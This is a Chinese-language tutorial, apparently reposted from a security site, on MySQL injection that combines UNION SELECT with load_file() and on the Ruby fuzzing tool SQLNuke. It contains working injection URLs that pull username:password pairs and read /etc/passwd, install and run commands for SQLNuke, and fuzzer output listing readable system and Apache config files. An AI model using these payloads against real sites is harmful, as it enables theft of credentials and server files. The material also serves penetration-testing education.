简单而快速的MySQL注射LOAD_FILE() Fuzzer

SQL注入中,有很多技术语句会和Union select 联合使用,比如load_file()、 into outfile() 、informaction_schema、char()、cast()和limit.很多攻击者平时最常用到的是union语 句,informaction_schema和order by语句等。但是有很多获取管理帐号和密码的技巧被忽略了,就像下文讲的 一样:

http://localhost/sqlnuke.php?id=-1+union+select+1,concat(username,0x3a,password),3,4%20from%20accounts

本文中用到的sqlnuke.php文件代码如下:

在这篇文章中我们会用到一个模糊测试新工具,叫SQLNuke,是一款mysql load_file()工具。

要使用此功能,该文件必须要在主机服务器上,同时需要有该文件的完整路径,用户必须具有文件权限。该文件必须可读,大小必须小于max_allowed_packet(my.ini中设置)字节。如果文件不存在或者不能读取会返回NULL.

语法如下:

http://localhost/sqlnuke.php?id=1+union+select+1,load_file(‘file_name/path_name’),3,4

在这种情况下,攻击者可以像利用本地文件包含漏洞一样,对web发起入侵.假设我们知道了列数,就可以使用union select和load_file()组合发起入侵,比如搜集一些敏感文件信息,像/etc/passwd,/etc/hosts,/etc /shadow等等。

Example:

http://localhost/sqlnuke.php?id=1+union+select+1,load_file(‘/etc/passwd’),3,4

sql注入load_file()工具

它需要花费大量的时间来猜测服务器上的文件,并且会返回出具体的路径。但是如果使用了sqlnuke,能够加快猜测速度,节省更多的时间。

SQLNuke是一款免费的开源mysql注射load_file()模糊测试工具,是用ruby语言写的,使用起来非常简单方便。

SQLNuke安装和基本用法:

安装SqlNuke之前,需要确保安装了Git和Ruby,因为它是用ruby语言写的,同时需要git命令来克隆SqlNuke库到本地。

git库址:https://github.com/nuke99/sqlnuke.git

如果没有安装git和ruby,使用的Debian发行版,像ubuntu、backtrack、linux等,可以使用如下命令安装git和ruby。

sudo apt-get install git-core

sudo apt-get install ruby

要使用SQLNuke,进入它所在目录,使用./sql.rb启动它.

sql注入load_file()工具

假设我们的目标是:http://localhost/sqlnuke.php?id=1+union+select+1,2,3,4 ,用XxxX替换掉2,这样它会覆盖load_file()函数,从而显示出文件路径.

root@bt:~/sqlnuke# ./sql.rb -u 'http://localhost/sqlnuke.php?id=1+union+select+1,XxxX,3,4'

[!] localhost folder already exists
[!] No OS selected, Continue with all the possibilities
[200] - [Success]      /etc/passwd
[200] - [Failed]      /etc/shadow
[200] - [Success]      /etc/group
[200] - [Success]      /etc/hosts
[200] - [Failed]      /etc/apache2/logs/access.log
[200] - [Failed]      /etc/httpd/access.log
[200] - [Failed]      /etc/init.d/apache/httpd.conf
[200] - [Failed]      /etc/init.d/apache2/httpd.conf
[200] - [Failed]      /usr/local/apache2/conf/httpd.conf
[200] - [Failed]      /usr/local/apache/conf/httpd.conf
[200] - [Failed]      /home/apache/httpd.conf
[200] - [Failed]      /home/apache/conf/httpd.conf
[200] - [Failed]      /opt/apache/conf/httpd.conf
[200] - [Failed]      /etc/httpd/httpd.conf
[200] - [Failed]      /etc/httpd/conf/httpd.conf
[200] - [Failed]      /etc/apache/apache.conf
[200] - [Failed]      /etc/apache/httpd.conf
[200] - [Success]      /etc/apache2/apache2.conf
[200] - [Success]      /etc/apache2/httpd.conf
[200] - [Success]      /etc/apache2/sites-available/default
[200] - [Failed]      /etc/apache2/vhosts.d/default_vhost.include
[200] - [Failed]      /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
[200] - [Failed]      C:/wamp/bin/apache/logs/access.log
[200] - [Failed]      C:/wamp/bin/mysql/mysql5.5.24/wampserver.conf
[200] - [Failed]      C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf
[200] - [Failed]      C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf
[200] - [Failed]      C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build
[+] Saved files are in 'output/localhost'
运行之后就能看到具体的存在的文件路径,能够判断系统类型等等。如果已经知道是linux系统,也可以指定模糊测试的系统类型,从而节省更多的时间,命令如下:
./sql.rb – u ‘http://localhost/sqlnuke.phpid=1+union+select+1,XxxX,3,4′ –os linux
sql注入load_file()工具
如果你需要猜解更多的文件,你可以定义SqlNuke目录下的packset.lst文件,来加入更多的文件路径信息。
sql注入load_file()工具
 
link:http://www.nxadmin.com/tools/1149.html

 

本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处。